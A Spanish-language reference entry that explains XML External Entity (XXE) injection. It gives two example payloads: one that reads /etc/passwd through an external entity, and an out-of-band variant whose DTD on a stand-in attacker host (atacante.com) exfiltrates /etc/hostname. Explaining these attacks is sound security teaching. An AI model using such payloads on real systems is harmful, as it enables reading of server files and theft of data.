XXE
AltoXML External Entity Injection
Definición
XML External Entity (XXE) es una vulnerabilidad que explota la funcionalidad de entidades externas en parsers XML. Cuando una aplicación procesa XML de entrada sin deshabilitar las entidades externas, un atacante puede leer archivos del servidor, realizar SSRF o provocar denegación de servicio.
Impacto
Ejemplos
XXE para lectura de archivos
Se define una entidad externa que referencia el archivo /etc/passwd. Cuando el parser XML procesa el documento y expande la entidad &xxe;, el contenido del archivo se incluye en la respuesta.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <user> <name>&xxe;</name> </user>
XXE Out-of-Band (OOB)
Cuando la respuesta no muestra el contenido de la entidad, se usa la técnica OOB: el servidor carga un DTD externo que exfiltra los datos del archivo a un servidor controlado por el atacante.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://atacante.com/evil.dtd"> %xxe; ]> <data>test</data> <!-- evil.dtd en el servidor del atacante --> <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://atacante.com/?data=%file;'>"> %eval; %exfil;